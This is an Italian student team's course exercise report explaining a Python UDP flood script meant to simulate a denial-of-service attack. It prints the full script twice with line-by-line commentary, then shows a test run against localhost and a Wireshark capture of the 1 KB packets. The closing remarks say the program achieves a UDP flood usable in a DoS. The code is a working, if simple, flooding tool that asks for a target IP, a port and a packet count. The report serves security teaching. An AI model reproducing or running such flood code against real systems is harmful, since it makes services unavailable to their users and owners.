

Team leader:

Samuele Aversa

Team members:

Gabriele Arcelli

Federico Biggi

Giammarco Iorio

Roberta Mercadante

Valerio Zampone

GLI ATTACCHI DI TIPO DOS, OVVERO DENIAL OF SERVICES, MIRANO A SATURARE LE RICHIESTE DI DETERMINATI SERVIZI RENDENDOLI COSÌ INDISPONIBILI CON CONSEGUENTI IMPATTI SUL BUSINESS DELLE AZIENDE. L'ESERCIZIO DI OGGI È SCRIVERE UN PROGRAMMA IN PYTHON CHE SIMULI UN UDP FLOOD, OVVERO L'INVIO MASSIVO DI RICHIESTE UDP VERSO UNA MACCHINA TARGET CHE È IN ASCOLTO SU UNA PORTA UDP CASUALE. REQUISITI: - IL PROGRAMMA DEVE RICHIEDERE L'INSERIMENTO DELL'IP TARGET. - IL PROGRAMMA DEVE RICHIEDERE L'INSERIMENTO DELLA PORTA TARGET. - LA GRANDEZZA DEI PACCHETTI DA INVIARE È DI 1 KB PER PACCHETTO - SUGGERIMENTO: PER COSTRUIRE IL PACCHETTO DA 1KB POTETE UTILIZZARE IL MODULO «RANDOM» PER LA GENERAZIONE DI BYTE CASUALI. - IL PROGRAMMA DEVE CHIEDERE ALL'UTENTE QUANTI PACCHETTI DA 1 KB INVIARE

S3L5

Funzione del programma

```
1 import socket  
2 import random
```

RIGA 5-8: Qui abbiamo definito la funzione *UDP_Flood(s):*

Abbiamo iniziato dando all'utente la possibilità di immettere l'indirizzo ip, la porta e la quantità di pacchetti desiderata, specificando le variabili *int*.

```
5 def UDP_flood(s):  
6     indirizzo_ip = str(input("Inserisci l'indirizzo ip="))  
7     porta = int(input("Inserisci la porta="))  
8     q_pacchetti = int(input("Inserisci la quantità di pacchetti da inviare="))  
9
```

RIGA1&2: Come prima cosa abbiamo importato le librerie *socket* e *random* per avere le funzioni necessarie ad eseguire il programma.

RIGA 10: Con la funzione *s.bind*, si abbina l'indirizzo ip e la porta specificata al socket creato (che vedremo in seguito).

```
10     s.bind((indirizzo_ip, porta))
11
12     s_pacchetti = random._urandom(1024)
13     for x in range(q_pacchetti):
14         s.sendto(s_pacchetti, (indirizzo_ip, porta))
15         if x < 1:
16             print(f"{x+1} pacchetto UDP inviato")
17         else:
18             print(f"{x+1} pacchetti UDP inviati")
```

RIGA 12: *s_pacchetti* invece è stato definito come *random._urandom(1024)*, funzione della libreria random richiamata per generare dati casuali nei pacchetti.

```
10     s.bind((indirizzo_ip, porta))
11
12     s_pacchetti = random._urandom(1024)
13     for x in range(q_pacchetti):
14         s.sendto(s_pacchetti, (indirizzo_ip, porta))
15         if x < 1:
16             print(f"{x+1} pacchetto UDP inviato")
17         else:
18             print(f"{x+1} pacchetti UDP inviati")
```

RIGA 13&14: È stato inserito un *ciclo for* che in concomitanza con *q-pacchetti* si occuperà di inviare il numero specificato di pacchetti.

Alla riga 14, è stata inserita la funzione *s.sendto* per inviare i pacchetti di 1KB al'IP e alla porta designati

RIGA 15-18: È stato inserito un *ciclo if-else* per riportare a schermo la conferma dell'invio del numero di pacchetti scelti.

RIGA 19-26: Dalla riga 19, è stato inserito un *ciclo try-except-finally* al cui interno viene creato un socket di rete con l'IP scelto e il protocollo UDP. Poi viene richiamata la funzione *UDP_flood(s)*. Il ciclo inserito permette rilevare problemi durante l'esecuzione della funzione, restituendo a schermo una risposta in caso di connessione fallita. Inoltre, grazie alla componente *finally*, il programma restituisce un messaggio di conclusione una volta giunti al termine. Alla riga 26, con la funzione *s.close* sia il socket di rete creato che il programma cessano di funzionare.

```
19 try:  
20     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
21     UDP_flood(s)  
22 except:  
23     print("Connessione fallita")  
24 finally:  
25     print("Grazie al prossimo dos!")  
26     s.close()
```

```
1 import socket
2 import random
3
4
5 def UDP_flood(s):
6     indirizzo_ip = str(input("Inserisci l'indirizzo ip="))
7     porta = int(input("Inserisci la porta="))
8     q_pacchetti = int(input("Inserisci la quantità di pacchetti da inviare="))
9
10    s.bind((indirizzo_ip, porta))
11
12    s_pacchetti = random._urandom(1024)
13    for x in range(q_pacchetti):
14        s.sendto(s_pacchetti, (indirizzo_ip, porta))
15        if x < 1:
16            print(f"{x+1} pacchetto UDP inviato")
17        else:
18            print(f"{x+1} pacchetti UDP inviati")
19 try:
20    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
21    UDP_flood(s)
22 except:
23    print("Connessione fallita")
24 finally:
25    print("Grazie al prossimo dos!")
26    s.close()
```

Uno sguardo al codice
completo

kali@kali: ~/Desktop

File Actions Edit View Help

```
(kali㉿kali)-[~/Desktop]
$ python S3L5.py
Inserisci l'indirizzo ip=127.0.0.1
Inserisci la porta=44444
Inserisci la quantità di pacchetti da inviare=10
1 pacchetto UDP inviato
2 pacchetti UDP inviati
3 pacchetti UDP inviati
4 pacchetti UDP inviati
5 pacchetti UDP inviati
6 pacchetti UDP inviati
7 pacchetti UDP inviati
8 pacchetti UDP inviati
9 pacchetti UDP inviati
10 pacchetti UDP inviati
Grazie al prossimo dos!
```

Capturing from Loopback: lo

No.	Time	Source	Destination	Protocol	Length	Info
2692628	704.095753477	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692629	704.095874214	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692630	704.095923265	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692631	704.095966943	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692632	704.095980233	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692633	704.095989858	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692634	704.096027993	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692635	704.096041221	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692636	704.096079032	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692637	704.096090394	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692638	758.604642561	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692639	758.604672199	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692640	758.604678662	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692641	758.604683473	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692642	758.604688226	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692643	758.604692646	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692644	758.604697264	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692645	758.604703543	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692646	758.604709074	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692647	758.604713649	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692648	1428.6960033...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692649	1428.6961260...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692650	1428.6961653...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692651	1428.6961771...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692652	1428.6961867...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692653	1428.6961957...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692654	1428.6962048...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692655	1428.6962157...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692656	1428.6962268...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024
2692657	1428.6962785...	127.0.0.1	127.0.0.1	UDP	1066	44444 → 44444 Len=1024

Per verificare il corretto funzionamento del programma, ci si è avvalsi di Wireshark.

Per monitorare il traffico dei pacchetti UDP, abbiamo utilizzato l' indirizzo di local host (127.0.0.1) ottenendo un esito positivo dato che l'IP e la porta di destinazione combaciano.

Considerazioni finali

La creazione di un socket di rete in Python si è rivelata intuitiva ed efficace, con pochi comandi per attuarla. Insieme all'implementazione dei cicli for, if-else e try-except, il programma è riuscito nell'intento di mandare un UDP flood che possa essere utilizzato in un DOS.